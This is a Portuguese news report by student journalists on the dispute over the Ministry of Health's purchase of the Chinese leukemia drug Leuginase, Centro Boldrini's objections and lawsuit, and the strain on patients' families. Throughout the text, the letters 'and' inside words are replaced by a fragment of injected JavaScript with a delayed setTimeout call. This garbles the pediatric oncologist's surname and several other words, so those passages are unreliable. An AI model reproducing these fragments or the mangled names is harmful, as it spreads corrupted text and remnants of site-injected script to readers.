Por Isadora Gomes e Julia Rodrigues

24 de janeiro de 2017: a Anvisa envia ao Ministério da Saúde o parecer que determina a compra de 30.660 frascos de L-asparaginase, fabricada pela Beijing SL Pharmaceutical, com sede na China. O que ninguém sabia é que o simples documento, de três páginas, determinava que todos os pacientes em tratamento por Leucemia Lifoblástica Aguda (LLA) no Brasil passariam a receber o remédio conhecido como Leuginase.

Medicamento distribuído pelo Ministério da Saúde (Foto: Isadora Gomes)

Mais de um ano após a polêmica da compra de medicamentos que envolveu o Centro Boldrini, hospital referência no combate ao câncer infantil, o caso parece ainda estar longe de ter solução. Na época, a empresa vetou o uso de Leuginase no tratamento dos pacientes pelo remédio possuir atividade inferior a 30%. “É como usar um canhão que possui apenas 70% de eficiência, alguma célula maligna vai sobrar”, explica a médica oncologista pediátrica, Silvia Brandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andalise. O Ministério da Saúde afirma que o Leuginase, passou no teste de seis laboratórios brasileiros, por isso, comprovada a eficácia.

Além disso, a pediatra explica que, diferente da forma como o Ministério da Saúde aborda o assunto, a eficácia de um remédio deve ser medida através da contagem de células malignas antes e depois do tratamento. Ela disse que o Instituto Nacional de Câncer denigre a imagem do Boldrini, dizendo que não houve nenhuma queixa contra a qualidade do produto. “É difícil convencer uma pessoa que deveria saber de câncer, que eficácia é saber quantas células malignas matou, e quantas células malignas sobreviveram. Não é diarreia, alergia, espirro, etc”.

Silvia Brandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andalise chegou a comparar, inclusive, a forma como o Ministério da Saúde trata o tema com o campo de concentração Nazista, Auschwitz, famoso pelas experiências feitas em judeus pelo médico e oficial alemão, Josef Megele.

Em Outubro de 2017, o Boldrini conseguiu uma liminar da justiça que obrigava o Ministério da Saúde a fornecer 150 frascos da L-asparaginase por mês ao hospital, mas essa medida não foi respeitada. Além disso, essa liminar diz que o remédio comprado pelo governo, não tem eficácia comprovada e só foi adquirido por ter um custo inferior ao alemão que era utilizado pelo hospital, permitindo uma economia de 25 milhões aos cofres públicos. O ministério, por seu lado, afirma que a eficácia está comprovada e por conta desse fato, recorreu a essa decisão.

Enquanto o Boldrini encontrava-se nesse impasse, a Dra. Silvia explica que eles conseguiram importar por conta própria frascos do medicamento alemão, que era utilizado desde o início, com eficácia comprovada.

Em janeiro de 2018 o Ministério da Saúde anunciou que mudaria a forma como a distribuição de medicamento para a LLA seria feita. No novo modelo “entidades retornarão a comprar de forma individual o produto”, o que, para a presidente do Centro Boldrini, Silvia Brandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andalise, a verba enviada pela pasta consegue cobrir apenas 6 meses do tratamento dos pacientes internados, já que cada frasco custa R$ 6.600,00.

Valores da PEG-Asparaginase e da verba do Ministério da Saúde

Famílias

Desde a polêmica que se iniciou em abril de 2017, as famílias de pacientes que fazem o tratamento para a LLA são as que mais sofrem. Ao mesmo tempo em que o Centro Boldrini possui o cuidado de não envolver os pais em mais preocupações, “a gente não sabe o que é ter um filho lutandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando contra o câncer, os pais não precisam se preocupar com mais coisa”, explica Silvia Brandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andalise, para o psicólogo Diego Rolo, o acompanhamento psicológico é sempre fundamental. “O mais importante é levar em consideração o subjetivo e o psicológico dessas famílias. Muitas vezes as grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes organizações acabam sendo mais lógicas, focandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando mais nos aspectos externos, o que não pode acontecer”, conta.

Para Sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Barbosa, mãe da Laura, que ainda faz o tratamento para a doença no Boldrini, a solidariedade e o apoio nunca foi um ponto falho no hospital. Segundo ela, os médicos e funcionários sempre passaram muita confiança sobre o tratamento. “Tudo no Boldrini é maravilhoso, nós sempre confiamos no que nos estava sendo passado. No tratamento da Laura, nunca tivemos motivos nenhum para duvidar, mesmo com todas as reportagens que estavam saindo”, afirma.

Processo Jurídico

Em nota, o Boldrini declarou que: “Após nosso pedido de bloqueio on-line de dinheiro da União, em razão da multa diária fixada pela não entrega do medicamento pela União, de forma, desta feita, a adquirir/reembolsar a L-Asparaginase (Aginasa/Oncaspar) pelo Boldrini, já que a União não cumpriu com a decisão liminar de entregar Aginasa ao Boldrini, o juiz deferiu o bloqueio de dinheiro, que não aconteceu on-line, mas sim pela transferência de dinheiro que a União tinha a receber em um outro processo que tramita na mesma vara. E assim foi feito: transferência do valor de R$ 511.563,40 para uma conta judicial vinculada ao processo movido pelo Boldrini. Porém, na última decisão, o juiz determinou que a União se manifeste sobre o pedido do Boldrini de transferência desse valor para a conta corrente do Boldrini. Ainda está no prazo para que a União apresente essa manifestação. Além disso, o Boldrini apresentou as notas fiscais de compra da Aginasa e Oncaspar até o momento e ainda haveria o valor de R$ 212.635,45 para que o Boldrini seja totalmente ressarcido do valor despendido. Assim, o juiz determinou o bloqueio do referido valor em outros processos que tenham valores a serem liberados à União. Com isso, teremos o total de R$ 724.198,85 bloqueados, com pedido para liberação ao Boldrini. Outrossim, o juiz ainda aguarda manifestação do Ministério do Trabalho sobre possíveis recursos que possam ser liberados/utilizados neste processo para custeio da perícia determinada para perquirir a eficácia do medicamento Leuginase.”

Recepção da ala de tratamento de leucemia do Centro Boldrini (Foto: Isadora Gomes)

Editado por Pâmela Ferracini

Orientação profa. Cyntia Andretta